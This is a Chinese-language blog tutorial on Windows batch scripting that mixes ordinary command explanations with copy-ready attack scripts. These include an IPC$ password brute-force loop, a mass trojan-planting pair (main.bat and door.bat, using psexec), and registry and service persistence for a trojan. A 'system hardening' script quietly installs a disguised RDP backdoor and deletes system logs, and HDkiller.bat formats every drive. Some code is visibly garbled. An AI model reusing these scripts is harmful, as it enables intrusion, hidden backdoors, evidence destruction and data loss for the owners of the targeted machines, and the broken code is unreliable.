■前言  
========================

批處理檔案是無格式的文字檔案，包含一條或多條指令，檔案副檔名為 .bat或 .cmd。按兩下該批處理檔案，系統就會調用cmd.exe，順序並逐個執行檔案中的各個指令，簡化日常或重複性任務。

■一.簡單批處理內部指令簡介  
========================

▲1. echo 指令  
說明：顯示資訊，或將指令回顯開啟或關上。要顯示目前回顯設定，輸入不帶參數的 echo。  
用法：echo [on|off]  
echo [message]  
例如：  
@echo off   
echo hello world  
備註：可將此指令和重定向符號（也稱管道符號，一般用> >> ^）結合起來實現輸入一些指令到特定檔案中。

▲2. @ 指令   
說明：@後面的指令將不會顯示。   
例如：  
@echo off   
@echo 初始化程式，請稍候…  
@format X: /q

▲3. goto 指令   
說明：跳轉到指定標籤，程式將執行指定標籤下一行開始的指令。   
用法：goto lable   
例如：  
if {%1}=={} goto noparms   
if {%2}=={}nul  
作用：不顯示資訊，有利於用戶自訂資訊。

▲4. rem 指令   
說明：註解指令，不會被執行，只是起一個註解的作用，便於別人閱讀和自己以後修改。   
用法：rem message  
例如：@rem 取得目前日期及時間

▲5. pause 指令   
說明：將程式掛起，按任意鍵後繼續執行。  
例 1：pause  
顯示：請按任意鍵繼續. . .  
例 2：pause >nul  
作用：不顯示資訊，有利於用戶自訂資訊。

▲6. call 指令   
說明：從批處理程式調用另一個批處理程式。call 指令允許調用目標標籤。  
用法：call [drive:][path]filename [batch-parameters] [:label [arguments]]  
例如：call d:\backdoor.bat  
備註：檔案副檔名必須是 .bat 或 .cmd。

▲7. start 指令   
說明：啟動另一個視窗執行指定的程式或指令。  
例如：start "指令行" /dC:\ cmd  
分析：在新視窗中開啟cmd.exe，並以「指令行」為標題，初始目錄為C盤。

▲8. choice 指令   
說明：讓用戶輸入一個字元，從而執行不同的指令。使用時應該加參數/c:，/c:後為提示可輸入的字元，之間無空格。它的返回碼依序為1, 2, 3, 4……   
例如：  
@echo off   
choice /c:dme /m "defrag,mem,end"  
rem 應先判斷數值最高的返回碼  
if errorlevel 3 goto end  
if errorlevel 2 goto mem   
if errorlevel 1 goto defrag  
:defrag   
echo defrag  
goto end   
:mem  
echo mem   
:end   
echo good bye    
分析：此檔案執行後，將顯示「defrag,mem,end [D,M,E]?」，用戶可選擇d,m或e，然後if語句進行判斷，d表示執行標號為defrag的程式段，m表示執行標號為mem的程式段，e表示執行標號為end的程式段。

▲9. if 指令  
說明：判斷是否符合規定的條件，從而決定執行不同的指令。  
用法：if [not] errorlevel number command  
if [not] string1==string2 command  
if [not] exist filename command  
例 1：if errorlevel 2 goto x2  
作用：如果返回碼等於2，程式則跳轉到標籤為x2的行執行。  
備註：DOS程式執行時會返回一個數字，即errorlevel，稱為錯誤碼或返回碼，常見的返回碼為0、1。  
例 2：if 「%1」==」a」 format a:  
作用：如果參數為a，則格式化A盤。  
例 3：if not exist config.sys echo 檔案不存在  
作用：如果檔案config.sys不存在，則顯示「檔案不存在」。

▲10. for 指令   
說明：在指定的範圍內循環執行指令。  
備註：在批處理檔案中使用 for 指令時，指定變數請使用 %%variable，而不要用 %variable。  
用法：for {%variable|%%variable} in (set) do command [command-parameters]  
參數：%variable 變數。只能是單一字母，分大小寫和全局，所以 %i 不同於 %I。  
(set)     一個或一組檔案。可以使用萬用字元。  
command  對每個檔案執行的指令。  
command-parameters   指令行開關。

帶指令行開關的 for 指令：

用法：for /d %variable in (set) do command [command-parameters]  
說明：如果集中包含萬用字元，則指定與目錄名核對，而不與檔案名稱核對。(directory)  
例 1：for /d %i in (\*) do @echo %i  
作用：枚舉目前目錄下的子目錄名。  
例 2：for /d %i in (\*g\*) do @echo %i  
作用：枚舉目前目錄下的子目錄名含g的名稱。

用法：for /r [[drive:]path] %variable in (set) do command [command-parameters]  
說明：檢查以 [drive:]path 為根的目錄樹。如果在 /r 後沒有指定目錄，則使用目前目錄。如果集僅為一個單點(.)字元，則枚舉該目錄樹。 (root)  
例 3：for /r %i in (.) do @echo %i  
作用：枚舉目前目錄下的全部子目錄名路徑。  
例 4：for /r %i in (\*) do @echo %i  
作用：枚舉目前目錄及子目錄下的全部檔案名稱路徑。

用法：for /l %variable in (start,step,end) do command [command-parameters]  
說明：以增量形式從開始到結束一個數字序列。(list)  
例 5：for /l %i in (1,1,5) do @echo %i  
作用：產生序列 1 2 3 4 5。  
例 6：for /l %i in (5,-1,1) do @echo %i  
作用：產生序列 5 4 3 2 1。

用法：for /f ["options"] %variable in (file-set) do command [command-parameters]  
for /f ["options"] %variable in ("string") do command [command-parameters]  
for /f ["options"] %variable in ('command') do command [command-parameters]  
說明：file-set為一個或多個檔案名稱。/f 分析每個檔案的每一行，跳過空白行。"options" 關鍵字：  
        eol=c           - 行註解字元的結尾(就一個)  
        skip=n          - 在檔案開始時略過的行數。  
        delims=xxx      - 分隔符集。取代空格和跳格鍵的預設分隔符集。  
        tokens=x,y,m-n   - 每行的哪一個符號被傳遞到每個迭代的 for 本身。  
                          這會導致額外變數名稱的分配。m-n格式為一個範圍。  
                          透過 nth 符號指定 mth。如果符號字串中的最後一個字元星號，  
                          那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文字。  
        usebackq                            
                          在作為指令執行一個後引號的字串並且一個單  
                          引號字元為文字字串指令並允許在 filenameset  
                          中使用雙引號擴起檔案名稱。   
例 7：for /f "eol=; tokens=2,3\* delims=, " %i in (myfile.txt) do @echo %i %j %k  
作用：分析 myfile.txt 中的不以分號開頭（eol=;）的行，將每行按逗號和空格分成幾段（delims=; ），再將每行的第2段、第3段及第3段以後的剩餘段分別賦值給變數%i、%j、%k。對於帶有空格的檔案名稱，需要用雙引號將檔案名稱括起來。

透過 tokens= 最多可以指定 26 個符號，for變數最多可以同時使用52個 。  
在相鄰字串上可以使用 for /f 分析邏輯；方法是，用單引號將括號之間的 file-set 括起來。這樣，該字串會被當作一個檔案中的一個單一輸入行。  
最後，您可以用 for /f 指令來分析指令的輸出。方法是，將括號之間的 file-set 變成一個反括字串（Esc鍵下面的按鍵）。該字串會被當作指令行，傳遞到一個子 cmd.exe，其輸出會被抓進記憶體，並被當作檔案分析。

例 8：for /f "usebackq delims==" %i in (`set`) do @echo %i   
作用：枚舉目前環境中的環境變數名稱。

下面我們舉幾個例子來具體說明一下for指令在入侵中的用途。

例 9：for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt  
分析：利用for指令來實現對一台目標winnt主機的暴力密碼破解。我們用net use指令嘗試和目標主機進行連接，當成功時記下密碼。用%i來表示administrator的密碼，%i的值在dict.txt中取得，然後將程式運行結果傳遞給find指令，ok.txt中的值即為目標主機的密碼。

例10：for /f 「tokens=1,2,3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k  
分析：自動給大量肉雞種後門和木馬。該指令按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。   
而cultivate.bat無非就是用net use指令來建立ipc$連接，並copy木馬＋後門到victim，然後用返回碼（if errorlever =）來過濾器成功種植後門的主機，並echo出來，或者echo到指定的檔案。   
delims= 表示vivtim.txt中的內容是一空格來分隔的。所以victim.txt裡的內容應該根據%%i %%j %%k表示的對象來排列，一般就是「IP位址 密碼 帳號」。

代碼雛形：   
========================= 從這裡開始複製，儲存為main.bat =========================  
@echo off   
@if "%1"=="" goto usage   
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k  
@goto end   
:usage   
@echo 執行此批處理檔案  
:end  
========================= 到這裡結束複製，儲存為main.bat =========================

========================= 從這裡開始複製，儲存為door.bat =========================  
@net use \\%1\ipc$ %3 /user:"%2"   
@if errorlevel 1 goto failed   
@echo 嘗試建立 IPC$ 連接 ………… 成功  
@copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt   
@psexec \\%1 c:\windows\system32\windrv32.exe   
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt   
:failed   
@echo 不能連線到此主機   
========================= 到這裡結束複製，儲存為door.bat =========================

這只是一個自動種植後門批處理的雛形，兩個批處理和後門程式（Windrv32.exe，PSexec.exe）需放在同一目錄下。批處理內容尚可擴充，例如：加入清除日誌和DDOS的功能，加入定時新增用戶的功能，更深入一點可以使之具備自動傳播功能(蠕蟲)。此處不多做敘述，有興趣的朋友可自行研究。

■二.如何在批處理檔案中使用參數  
===========================

批處理中可以使用參數，一般是從%1到 %9這九個，當有多個參數時需要用shift來移動。   
例1：fomat.bat   
@echo off   
if "%1"=="a" goto format  
:format   
@format a:/q  
@echo 請插入另一張軟盤  
@pause   
@goto format  
分析：這個例子用於連續地格式化幾張軟盤，所以用的時候需在dos視窗輸入fomat a，呵呵，是不是覺得這個批處理有點畫蛇添足呢？  
例2：  
@echo off  
@net user %1ipc$ 「%2」 /user:」%3」  
@if errorlevel 1 echo 連接失敗  
分析：當我們要建立一個IPC$連接時總要輸入一大串指令，弄不好就打錯了，所以我們不如把一些固定指令寫成一個批處理，把肉雞的「IP位址 密碼 帳號」當成參數來賦給這個批處理，這樣就不用每次都打指令了。   
怎麼樣，使用參數還是比較簡單的吧？你這麼帥一定學會了^\_^.

■三.組合指令的使用(Compound Command)   
====================================

▲1. &   
用法：第一條指令 & 第二條指令 [&&   
用法：第一條指令 && 第二條指令 [&&&    && copy d:backup.mdb e:backup.mdb  
分析：如果D盤存在backup.mdb檔案，就把它複製到E盤。這種用法可以取代if exist了。

▲2. &&   
用法：第一條指令 && 第二條指令 [&& 第三條指令...]  
說明：同時執行多條指令，當執行到錯誤的指令後將不執行後面的指令，否則一直執行完全部指令。   
例 1：dir z: && dir c:  
      dir c: && dir z:

在做備份的時候用到這種指令可能會比較方便。  
例 2：dir d:backup.mdb && copy d:backup.mdb e:backup.mdb  
分析：如果D盤存在backup.mdb檔案，就把它複製到E盤。這種用法可以取代if exist了。

▲3. ||   
用法：第一條指令 || 第二條指令 [|| 第三條指令...]   
說明：同時執行多條指令，當執行到正確的指令後將不執行後面的指令，否則一直執行完全部指令。  
例如：dir z: || dir y: || dir c: || dir x:

■四、管道指令的使用   
===================

▲1. | 指令   
用法：第一條指令 | 第二條指令 [| 第三條指令...]   
說明：將第一條指令的結果作為第二條指令的參數來使用。  
例如：netstat -n -p tcp|find ":3389"  
分析：用於終端服務，取得登入用戶的IP。

▲2. >、>>輸出重定向指令   
說明：將一條指令或某個程式輸出的結果儲存到特定檔案中。>與>>的區別在於：>會清除原有檔案中的內容再寫入指定檔案；而>>不會改動原有檔案中的內容，只是追加內容到指定檔案尾部。  
例1：echo hello world>c:hello.txt  
例2：dir %windir%system32\*.exe >d:exe.txt & dir %windir%system32\*.dll >d:dll.txt  
分析：system32目錄是許多木馬鍾愛的藏身之所，只要我們在裝完系統和必要的應用程式後，對該目錄的exe和dll檔案作一個記錄。日後如發現異常，懷疑係統中已經潛入DLL木馬。這時可用同樣的指令將system32下的exe和dll檔案記錄到d:exe1.txt和d:dll1.txt中，然後執行：  
fcd:diff.txt &>d:diff.txt  
 (用fc指令比較前後兩次的dll和exe檔案，並將結果輸入到diff.txt中)，這樣我們就能發現多出來一些dll和exe檔案，然後透過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被dll木馬光顧了。沒有是最好，如果有的話也不要直接del掉，先用regsvr32 /u 指令將後門dll檔案登出掉，再把它移到資源回收筒裡，若系統沒有異常表現再將之徹底刪除或者送出給防毒軟體公司。

▲3. < 、>& 、<&   
說明：< 從檔案中而不是從鍵盤中讀入指令輸入。>& 將一個句柄的輸出寫入到另一個句柄的輸入中。   
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。這些並不常用，也就不多做介紹。

■五、登錄檔操作  
===================

▲1. 建立   
說明：建立分為兩種，一種是建立子項(Subkey) ，一種是建立數值名稱。  
例 1：  
Windows Registry Editor Version 5.00

[HKEY\_LOCAL\_MACHINESOFTWAREMicrosofthacker]  
作用：在HKEY\_LOCAL\_MACHINESOFTWAREMicrosoft下建立了一個名為"hacker"的子項。   
例 2：  
Windows Registry Editor Version 5.00

[HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]   
"Invader"="Ex4rch"   
"door"=c:windowssystem32door.exe   
"autodos"=dword:02  
作用：在HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下新增了：Invader、door、autodos這三個數值。Invader的類型是「字串值」，door的類型是「字串值」，autodos的類型是「DWORD值」。  
   
▲2. 修改   
說明：只須把要修改的項目匯出，然後用筆記本進行修改，再匯入（regedit /s）即可。

▲3. 刪除   
說明：同樣分為兩種，一種是刪除子項(Subkey) ，一種是刪除數值名稱。  
例 1：   
Windows Registry Editor Version 5.00

[-HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]   
作用：刪除HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun  
例 2：  
Windows Registry Editor Version 5.00

[HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]   
"Ex4rch"=-   
作用：刪除HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下的數值「Ex4rch」。  
例3：  
@echo off  
echo Windows Registry Editor Version 5.00>sample.reg   
echo.>>sample.reg  
echo [HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>sample.reg   
echo "Invader"="Ex4rch">>sample.reg   
echo "door"=c:windowssystem32door.exe >>sample.reg   
echo "autodos"=dword:02>>sample.reg  
regedit /s sample.reg  
del /f /q sample.reg  
作用：利用重定向符號建立登錄檔檔案sample.reg，並不經提示將其強行匯入登錄檔，最後刪除檔案。  
例 4：   
@start windrv32.exe   
@attrib +h +r windrv32.exe   
@echo [HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll   
@echo "windsnx "=- >>patch.dll   
@sc create Windriversrv binpath= c:windowssystem32windrv32.exe type= kernel start= auto displayname= WindowsDriver   
@regedit /s patch.dll   
@delete patch.dll   
@REM [刪除DSNXDE在登錄檔中的啟動項，用sc.exe將之註冊為系統關鍵性服務的同時將其內容設為隱藏和唯讀，並設定為自啟動]   
作用：將木馬程式註冊為系統服務實現更好保護木馬。下面以組態設定好地IRC木馬DSNX為例(名為windrv32.exe)

■六.精彩實例  
===========

▲1. 刪除win2k/xp系統預設共享的批處理  
========================= 從這裡開始複製，儲存為delshare.bat =========================  
@echo off

rem 檢查參數，如果為空，則顯示用法。  
if {%1}=={} goto Usage

echo  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
echo.   
echo  刪除指定共享 ...  
echo.   
net share %1$ /delete >nul  
net share %2$ /delete >nul  
net share %3$ /delete >nul  
net share %4$ /delete >nul  
net share %5$ /delete >nul  
net share %6$ /delete >nul  
net share %7$ /delete >nul  
net share %8$ /delete >nul  
net share %9$ /delete >nul  
net stop Server  
net start Server  
echo  建立登錄檔檔案 ...  
echo Windows Registry Editor Version 5.00> delshare.reg  
echo.>>c:delshare.reg  
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> delshare.reg  
echo "AutoShareWks"=dword:00000000>> delshare.reg  
echo "AutoShareServer"=dword:00000000>> delshare.reg  
regedit /s delshare.reg  
echo.  
echo                           ☆ 刪除系統預設共享 ☆   
echo  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
echo     Power by yupsky         Email：yupsky[@l](mailto:yupsky@l)ive.com         msn：yupsky  
echo  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
echo.   
echo  # 錯誤：沒有使用參數  
echo.   
echo  # 請輸入你要刪除共享的磁碟盤符  
echo.   
echo   例如：  
echo   delshare c d e ipc admin print  
echo.   
echo    例如：  
echo    delshare c d e x y z ipc admin print  
echo.   
echo  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
echo.   
echo  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
echo.  
echo                             [ 按 任 意 鍵 退 出 ]  
pause >nul  
======================== 到這裡結束複製，儲存為delshare.bat ========================

▲2. 全面加固系統  
 ======================== 從這裡開始複製，儲存為system.bat =========================  
@echo off  
echo Windows Registry Editor Version 5.00>patch.dll  
echo.>>patch.dll

rem [禁止共享]  
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>>patch.dll  
echo "AutoShareServer"=dword:00000000>>patch.dll  
echo "AutoShareWks"=dword:00000000>>patch.dll

rem [禁止暱稱登入]   
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetControlLsa]>>patch.dll  
echo "restrictanonymous"=dword:00000001>>patch.dll

rem [禁止檔案訪問和列印共享]   
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServicesNetBTParameters]>>patch.dll  
echo "SMBDeviceEnabled"=dword:00000000>>patch.dll

rem [禁止登入前關機]   
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServicesremoteRegistry]>>patch.dll  
echo "Start"=dword:00000004>>patch.dll  
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServicesSchedule]>>patch.dll  
echo "Start"=dword:00000004>>patch.dll  
echo [HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>patch.dll  
echo "ShutdownWithoutLogon"="0">>patch.dll

rem [禁止顯示前一個登入帳號稱]   
echo "DontDisplayLastUserName"="1">>patch.dll

rem [修改3389連接，連接埠為8210(十六進制為00002012)，名稱為Microsoft EventLog，留條後路]   
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>patch.dll  
echo "PortNumber"=dword:00002010>>patch.dll  
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp>>patch.dll  
echo "PortNumber"=dword:00002012>>patch.dll  
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServicesTermDD]>>patch.dll  
echo "Start"=dword:00000002>>patch.dll  
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServicesSecuService]>>patch.dll  
echo "Start"=dword:00000002>>patch.dll  
echo "ErrorControl"=dword:00000001>>patch.dll  
echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,>>patch.dll  
echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,>>patch.dll  
echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00>>patch.dll  
echo "ObjectName"="LocalSystem">>patch.dll  
echo "Type"=dword:00000010>>patch.dll  
echo "Description"="Keep record of the program and windows' message。">>patch.dll  
echo "DisplayName"="Microsoft EventLog">>patch.dll  
echo [HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetServicestermservice]>>patch.dll  
echo "Start"=dword:00000004>>patch.dll  
copy %windir%system32termsrv.exe %windir%system32eventlog.exe  
regedit /s patch.dll  
del /f /q patch.dll

rem [刪除日誌]  
net stop w3svc   
net stop eventlog   
del /f /q %windir%system32logfilesw3svc1\*.\*  
del /f /q %windir%system32logfilesw3svc2\*.\*  
del /f /q %windir%system32config\*.event  
del /f /q %windir%system32dtclog\*.\*  
del /f /q %windir%\*.txt  
del /f /q %windir%\*.log  
net start w3svc   
net start eventlog   
   
rem [禁止一些危險的服務]    
net stop lanmanserver  
net stop Schedule  
net stop RemoteRegistry  
======================== 到這裡結束複製，儲存為system.bat =========================

▲3. 硬碟殺手（僅供在虛擬機中測試，否則造成硬碟資料遺失，後果自負！）

======================== 從這裡開始複製，儲存為HDkiller.bat =========================  
@echo off

:start   
cls   
echo 正在裝入程式 . . .

rem 硬碟機檢查並分配有效的硬碟機。  
set drive=  
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem 磁碟檢查代碼開始。  
echo @echo off>drivechk.bat  
Rem echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "的卷" > nul >temp.bat  
Rem %comspec% /e:2048 /c temp.bat>>drivechk.bat  
echo ";vol %%1: | find "的卷";">temp.bat  
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat  
del /f /q temp.bat  
echo if errorlevel 1 goto enddc >>drivechk.bat

echo ";dir %%1: /ad/w/-p | find "位元組";">temp.bat  
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat  
del /f /q temp.bat  
echo if errorlevel 1 goto enddc >>drivechk.bat  
rem 如果返回碼為1，則指定的硬碟機是可移動磁碟。

echo ";dir %%1: /ad/w/-p | find "0 可用位元組";">temp.bat  
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat  
del /f /q temp.bat  
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat  
rem 如果返回碼為1，則指定的硬碟機是硬諜或軟盤硬碟機；否則是光碟硬碟機。

echo :enddc>>drivechk.bat  
rem 磁碟檢查代碼結束。

:Getdrv  
rem 使用 drivechk.bat 取得有效硬碟機資訊。  
for %%a in (%alldrive%) do call drivechk.bat %%a >nul  
del /f /q drivechk.bat  
if %drive.==. set drive=c

:form\_del   
call attrib -r -h c:autoexec.bat >nul  
echo @echo off >c:autoexec.bat   
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat   
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /y >nul>>c:autoexec.bat   
echo cls >>c:autoexec.bat   
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat   
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Tony>nul>>c:autoexec.bat   
echo cls >>c:autoexec.bat   
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat   
echo for %%%%a in (%drive%) do call rd /q %%%%a: >nul>>c:autoexec.bat   
echo cls >>c:autoexec.bat   
echo cd >>c:autoexec.bat  
call attrib +r +h c:autoexec.bat

:makedir   
if exist c:temp.bat attrib -r -h c:temp.bat >nul  
echo @echo off >c:temp.bat   
echo %%1: >>c:temp.bat   
echo cd >>c:temp.bat   
echo :startmd >>c:temp.bat   
echo if not exist %%2 md %%2>>c:temp.bat  
echo if exist %%2 cd %%2>>c:temp.bat  
echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%   
%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat   
call attrib +r +h c:temp.bat >nul  
   
cls   
echo 正在初始化變數 . . .   
for %%a in (%drive%) do call format %%a: /q /u /y>nul  
for %%a in (%drive%) do call c:temp.bat %%a Tony>nul  
for %%a in (%drive%) do call attrib -r -h %%a: /S >nul  
call attrib +r +h c:temp.bat >nul  
call attrib +r +h c:autoexec.bat >nul  
for %%a in (%drive%) do call rd /q %%a:\*. >nul  
for %%a in (%drive%) do call c:temp.bat %%a Tony>nul

:end  
 ======================== 到這裡結束複製，儲存為HDkiller.bat =======================

 http://blog.xuite.net/yupsky/blog/46761634-BAT%EF%BC%9A%E6%89%B9%E8%99%95%E7%90%86%E6%95%99%E5%AD%B8%EF%BC%88%E4%B8%8A%EF%BC%89

在DOS系統下，有三類檔案是可以使DOS執行而進行某些工作，這三類檔案分別有以下三個不同的副檔名

1. .com (指令檔，命令檔) 例如 Command.com, Edit.com 等。

2. .exe (執行檔) 例如 Copy.exe, Mem.exe 等。

3. .bat (批次檔) 例如 Autoexec.bat 等。

其中 .com 及 .exe 的檔案是用編譯或組合語言寫出，需要較多工夫來學習編寫，一般終端用者 (end-user)

不會花時間來學習編寫這些程式，但 .bat 的批次檔是一連串的 DOS 內部或外部指令 (批次檔的意思是 指令集)

，或是執行程式的主檔名，因此只要懂得這些指令，加上一些簡單的語法，就可寫出批次檔。終端用者利用自己編寫的批次檔，就可使 DOS

執行自己編定的程序。

批次檔是由 DOS 指令組成，因此批次檔有錯誤時，就等於我們在提示號 (C)鍵入錯的指令一樣，螢幕會有 Bad command or file name 的回應。

批次檔必定要是純文字檔案，可使用 DOS 的編輯器(DOS Editor)或用windows內的 記事本 寫出來，這兩個都是簡單的文書處理器，文稿內不含任何控制碼 (如字款和字的大小，文章闊度等等)，這就最適合用來編來批次檔。

指令大多數是為程式所用，對有寫一些簡單的自動化批次檔(Batch File)的人來說非常實用。在Window XP/7中利用cmd或是「所有程式/附屬應用程式/命令提示字元」進入指令模式後，你也可以利用「[help/?」指令查詢在系統提供的文字指令有哪些?

要瞭解特定命令的詳細資訊，請輸入 HELP 命令名稱：（以Windows XP為例）

ASSOC&nbsp; &nbsp;顯示或修改檔案附檔名關聯。

AT 排定電腦上要執行的命令和程式。

ATTRIB顯示或變更檔案屬性。

BREAK 設定或清除擴充的 CTRL+C 檢查。

CACLS 顯示或修改檔案的存取控制清單 (ACLs)。

CALL 從另一個批次程式呼叫一個批次程式。

CD 顯示目前目錄的名稱或變更。

CHCP 顯示或設定作用中的字碼編號。

CHDIR 顯示目前目錄的名稱或變更。

CHKDSK檢查磁碟並顯示狀態報告。

CHKNTFS 顯示或修改開機時的磁碟檢查。

CLS 清除螢幕。

CMD 開始新的 Windows 命令轉譯器。

COLOR 設定預設主控台的前景和背景色彩。

COMP 比較兩個或兩組檔案的內容。

COMPACT 顯示或變更 NTFS 磁碟分割上的檔案壓縮。

CONVERT 將 FAT 磁碟區轉換成 NTFS 格式。您不可轉換目前的磁碟機。

COPY 將一個或數個檔案複製到另一個位置。

DATE 顯示或設定日期。

DEL 刪除檔案。

DIR 顯示目錄中的檔案和子目錄清單。

DISKCOMP比較兩張磁片的內容。

DISKCOPY將磁片上的內容複製到另一張磁片上。

DOSKEY編輯命令列、恢復 Windows 命令和建立巨集。

ECHO 顯示訊息、開啟或關閉命令回音。

ENDLOCAL結束批次檔環境變更的本土化工作。

ERASE 刪除一個或更多檔案。

EXIT 結束 CMD.EXE 程式 (命令轉譯器)。

FC 比較兩個或兩組檔案，然後顯示兩者之間的相異處。

FIND 在檔案中搜尋文字字串。

FINDSTR 在檔案中搜尋字串。

FOR 在一組檔案中的每個檔案執行一個特定的命令。

FORMAT將磁碟格式化供 Windows 使用。

FTYPE 顯示或修改用於檔案附檔名關聯中的檔案類型。

GOTO 將 Windows 命令轉譯器指向批次程式中已經加了標籤的列。

GRAFTABL啟用 Windows 在圖形模式下顯示擴充的字集。

HELP 為 Windows 命令提供說明資訊。

IF 在批次程式中執行有條件的處理程序。

LABEL 建立、變更或刪除磁碟的磁碟區標籤。

MD 建立目錄。

MKDIR 建立目錄。

MODE 設定系統裝置。

MORE 一次顯示一個螢幕的輸出。

MOVE 從一個目錄移動一個或數個檔案到另一個目錄。

PATH 顯示或設定執行檔的搜尋路徑。

PAUSE 暫停處理批次檔並顯示訊息。

POPD 還原 PUSHD 儲存的目錄之前的值。

PRINT 列印文字檔案。

PROMPT變更 Windows 的命令提示。

PUSHD 儲存目前的目錄，然後變更它。

RD 移除目錄。

RECOVER 從損壞或不良的磁碟中修復可讀取的資訊。

REM 在批次檔或 CONFIG.SYS 記錄意見 (註解)。

REN 重新命名檔案。

RENAME重新命名檔案。

REPLACE 取代檔案。

RMDIR 移除目錄。

SET 顯示、設定或移除 Windows 環境變數。

SETLOCAL開始批次檔中環境變更的本土化工作。

SHIFT 變更批次檔中可取代參數的位置。

SORT 將輸入排序。

START 開始另一個視窗來執行指定的程式或命令。

SUBST 將路徑與磁碟機代號相關聯。

TIME 顯示或設定系統時間。

TITLE 設定 CMD.EXE 工作階段的視窗標題。

TREE 以圖形顯示磁碟機或路徑的目錄結構。

TYPE 顯示文字檔的內容。

VER 顯示 Windows 版本。

VERIFY告訴 Windows 是否要檢查您的檔案寫入磁片時正確與否。

VOL 顯示磁碟區標籤和序號。

XCOPY 複製檔案和樹狀目錄。

Windows批處理(cmd/bat)常用命令小結  
  
**前言**

批處理文件（batch file）包含一系列 DOS命令，通常用於自動執行重複性任務。用戶只需雙擊批處理文件便可執行任務，而無需重複輸入相同指令。編寫批處理文件非常簡單，但難點在於確保一切按順序執行。編寫嚴謹的批處理文件可以極大程度地節省時間，在應對重複性工作時尤其有效。

在Windows中善用批處理可以簡化很多重複工作

**什麼是批處理**

